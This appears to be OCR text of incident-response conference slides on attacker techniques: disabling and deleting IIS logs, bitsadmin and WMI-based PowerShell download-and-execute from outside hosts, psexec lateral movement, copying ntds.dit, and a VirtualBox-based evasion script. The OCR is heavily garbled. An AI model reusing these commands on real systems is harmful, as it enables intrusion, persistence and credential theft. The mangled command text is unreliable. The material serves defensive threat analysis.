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The Obvious — Removing Logs

ﬁ "ond" /e cd /d 'C: \metpu \wiroot\ "Gverkecho [S]kcdbecho [E] pote-09.05714 3000867908

L‘» ----- l} ‘ond" /ccd /d e \metpu \imroot\"c: \windows\system32\inetsm\append set config “Defoult Heb Site/" /section:httploggingl/dontlog:truef
4 "and" /c cd /d "C:\inetpub\wmwroot\ "Rl C:\inetpub\logs\LogFilesWISVCI®. Logh/abecho [S]hcdkecho [E] puteos-csmasnss ussg

b
p\wiroot\ "fic: \Windows\systen32\inetsm\append unlack config -section:system.nebServer/httploggingkecho [S]kcdke
b
b
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The unspoken - Hiding in the Cloud

getlook23 / project1

<> Code @ Issues 1 i1 Pull requests 0 Il Projects 0

issuel #1

getlook23 opened this issue on Jul 27 - 21 comments

chrisweaver(Q4¢

E getlook23 commented on Jul 27 « edited

[ AUdBX6VIYjk= J

M7 (84) 2297|

E[|[AE 118 | uzt 2016.09.25, 11:21

http://blog.naver.com/kyung2031/220820253867

Member Since H S i
May 26, 2016 i
Rl

th ANNUAL p"Y i -
2 F | Q ST {WEBNGhAtQTJXfyxNT7d8RucM3tmxABU= [fi,:nss.m.s.zlpom[91181 i
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Dropping the Powershell

Host O M EITI-EL I
Program B bitsadmin.exe ! ]
Pid 5620 bitsadmin.exe

Create Time  2016-02-10T16:01:20.12

Image Path  C:\Windows\SysWOW64
Parent Image Path  C:\Users\§7< ke AppDatatloca
BE6LZTZMBp8bZo. exe

Command Line  bitsadmin /transfer myjob /downlead /priority Hig https:ffwww.dmpbox.com S i
C:ilUsersh\azs baadNAppDataiLocal\Temp\4G3c@D . 650 rood

User ‘='IlIeliZ
Parent &£ "C:\Users¥\iz=kyaa\AppDataiLocal\Temp\7jOALfOP7O51\22BP8E2cSp3q\5C7 8 sk1n6S53XM416d7 18kbdefBa™
8EBLZTZMBp8bo.exe"

Process Tree

i & C:\Windows\Explorer.EXE

i g% JC:\Users\57=k555\AppData\Local \Temp\7jOALFOP7051\220P8E2c5p3q\5C7Z2maK1AZPSQN
8F574ubt5k1n653X\416d7I8k6d6FON\SEGL2T2MEp8b20 . exe”

£ bitsadmin /transfer myjob /download Apriority High https://www.dropbox.com/s/ri@ydqp58klyilc/index. txt:
C:\Users\aE=kHaaiAppDataiLocal\Temp \4G3c@D . 65@r6abd
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WMI Consumers

Description

A suspicious persistence mechanism was identified on the system. The Windows Management Interface can be
used to start programs in response to a variety of events. This is an uncommon and easily overlooked mechanism
that has been abused to allow malware to persist. This configuration may be legitimate but probably merits review.

WMI Consumer

ence Mechanism

References

(' SecureWorks Blog: A Novel WMI Peygs
& Playing with MOF files on Windg#s

Technical Details

{_ [
identification” : "CommandLineEventConsumer”, , \
"persistent” @ "CihWWINDOWS\System3Z\WindowsPowershellhw 1 - 7 | -
JABXAEMAPOSOAGUAVWALAEBAYGBKAEUAYWEBUACAALUWEZAHMAVAS ] AGDALGEOREDAVAAUAFCAROE CAEMATAR 1 AGUAD QB UADSAT ABLADDAIWEWAEDAdWEhAHLIAZQA LAGM
}

SwC=NEw-OBJECt SYSTEM.NET.WEbCliENt;Su='VMware-client/5.1.0';SWc.HEADers.ADD ('L

Agent', Su) ; SwC.PRoXY = [SystEM.NET.WEBREQUesT]: :DefAuLTWEbPROXY;

$SwC.PrOXy.CREDeNtiALS =

[SYSTem.NET.CREDeNtiAlCaCHe] : : DEfAUITNEtWoRKCRedENnTIalS; SK="'"13)k}t0&]Ub~e-

BMgzmS{>S$WDp.L\ij"'; i

$i=0; [ChAR[]]S$b=([cHar[]] ($Wc.DOWNLOadStrING ("http://giantmeteor2016.com/init
th ANNUAL .

2 FIRST -bXoR$k [$I++%$K.LenGtH] }; IEX ($b-Join'")

))) 1%{S_
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If you don’t see it...

Rule description {click an underlined value to edit):

with 'Confidential CSO Organization Announcements’ or 'hoax' or 'spam’ or "virus' or ‘malware’ or 'phishing' o &
move it ko the Deleted Items Folder
and stop processing more rules % =

4| | 3

n 29rFiRsT

SAN JUAN
PUERTO RICO




Anomaly Evasion: New User Profiles

‘LogParser.exe =17 "SELECT DISTINCT timegenerated,E¥®RACT TOKEN(Strings,1,'|"')
AS Domaln, RESOLVE SID(EXTRACT TOKEN(Strings,0,'|')) AS Usely

EXTRACT TOKEN (Strings,3,'|') AS

SessionName, RESOLVE SID(EXTRACT TOKEN(Strings,4,'|')) AS
ClientNameiEXTRACT TOKEN (Strings,5,'|"') AS ClientAddress,EventID FROM

C:\Users pesktop\logs\dc\ || . cvtx WEERE EventID=003C
Ofiset objNetwork = CreateObject ("Wscript.Network")

ws.run("cmd /c echo ")+ strUser + " --- " + strCom + ">>

\\ [REDACTED]\temp\delprof.dll}'),0
29FIRST
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System Configuration for Malice and

Persistence

a \tl rs
e OOB012238:ACLIENT. EXE 8 T8
e OXB80214681nd xe 10 5768

CommandProcess: csrss.exe Pid: 716

CommandHistory: ©x4fal6e Application: cmd.exe Flags: Allocated

CommandCount: @ LastAdded: -1 LastDisplayed: -1

FirstCommand: € CommandCountMax: 59

ProcessHancdle: 9xcf8

Cmd #0 @ Ox4f5c48: c¢d \recycler
AAAAAAAA Ced #1 2@ Oxi€bca78: 7?sexec \\10.65.91.3 ~-s cmd.exe 777077 \\1€.101.104.31\cS$
FIRST Cmd #2 @ Ox4fa760: 7sexec \\1€.24,32.14 -s cmd,.exes 7




Hunting the Hunter

Image Path Cl\Windows\Temp\temp.log
Parent Image Path E:\tomcat70\bin\Tomcat? exe
Command Line c:\windows\tem -hpadmin110.COM -m5 -r cy.tmp ¢:/Cylance/*
Image Path E:'&Windwm\T:mp‘kspﬁm_EHESEE.lng
Parent Image Path E:\tomcat70\bin\Tomcat? exe

- Command Line c:\windows\temp a —r —hpadmin110.COM ka.rar -
"¢:\Windows\Temp\KAV Remote Installations)\35bfc376923f4f6e8c85029b6186¢8b7_1"

™

Farent E:\tomcat70\bin\Tomcat?.exe [/RS//Tomcat?

E I AN (e

= 2016-08-15T12:45:50.027804  cnd.exe /Q /c7z |a -t7z archived.zip """C:\Program Files\Websense"""
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Endpoint Agent Impersonation

Source (Attacking) Process @ (non-existent process) “\Device\HarddiskVel umel\ﬂindows\SystemSZ
524

2016-01-25T20:38:06.456014

Target (Victim) Process @ (non-existent process) \Device\HarddiskVolumel\Program Files (x86)\Dell SecureWorks\Red Cloak
3272
2016-01-25T28:45:29. 836513

Injected Thread 3444 M metasp|0|t
2016-01-27T18:16:40.424248
Px1dfRoee

0xz00000000 FCE8B7424 0481ECO0 200000EB 89000000 ..t5.eee cvacsss
0x00000010 6089E531D2648B52 308B520C 8B52148B ~..1.d.R0O.R..R..

Process Tree .. J

i- 4 wininit.exe (2016-02-06T045407944234) .

iy

. Windows
i "C:\Program Files\RhinoSoft\Serv-U\Serv-U.exe" -service (2016-02-06704:54:30.567699) ¥ Sysinternals

— 8 \?2\C:\Windows\system32\conhost .exe OXFFFFFFFF @oi6-05-08T05 4028697232

29 El‘ﬁ"s"i} l3 & ond /c d:\tefip\redcloak. exe Faccepteula \\DCB1 cnd /c copy c:\windows\temp\ntds.dit \\FTPO1\d$\temp\temp (2016-05-08T054028.687232)
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Bring Your Own Virtual Machine
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Process Tree Install script

£ C:\WINDOWS\system32\svchost.exe -k netsvcs
£+ C:\WINDOWS\System32\WScript.exe "C:\Users\Public\System

b

b

Installation Actions

"C:\Windows\regedit.exe" /s ['C:\Users\Public’\System‘\XP.reg"
"Co\WINDOWS\System32\WScripthexe™ "C:\Users\Public\System\update.vbs"”
£ "C:\Windows\System32\cmd J/C del C:\Users\Public\System\update.rar Download
£ "C:‘\Windows\System32\cmd.exe" |/C del C:\Users\Public\System\setup.vbs

£ (T NUSersVive.. .- \BppData\local\TempLInstall\GvVchost.exe" --no-check-certificate -q
-0 C:\Users\Publich\Systemiupdate.rar https://goo.gl/rimi u B

Fe ) | "C:\Users\Public)\System\unrar.exe” x -ibck -y -o+ —pl:*:I::ﬁ'.'-.'i':'[ C:Wsers\Public\System\update.rar
C: \WINDOWS \system32hcomd.exe /fc ""C:\Users\Public\System\vbox.bat" "
£#] "C:\Program Files\Oracle\VirtualBox\csrsc.exe” -s xpl -v on TeamViewer

Start Virtual

Machine

CAWINDOWS\system32hcmd.exe fc ""C:%Wsers\Public\System\KernalModea.bat™ "
% rundll32.exe advpack.dll,LaunchINFSectionEx C:\Program Files\Oracle‘\VirtualBox\drivers\USB\filter\VBoxUSBMon.inf,,,4
3 rundll32.exe advpack.dll, LaunchINFSectionEx C:\Program Files\Oracle\VirtualBox‘\drivers\vboxdrv\VBoxDrv.inf,,,4




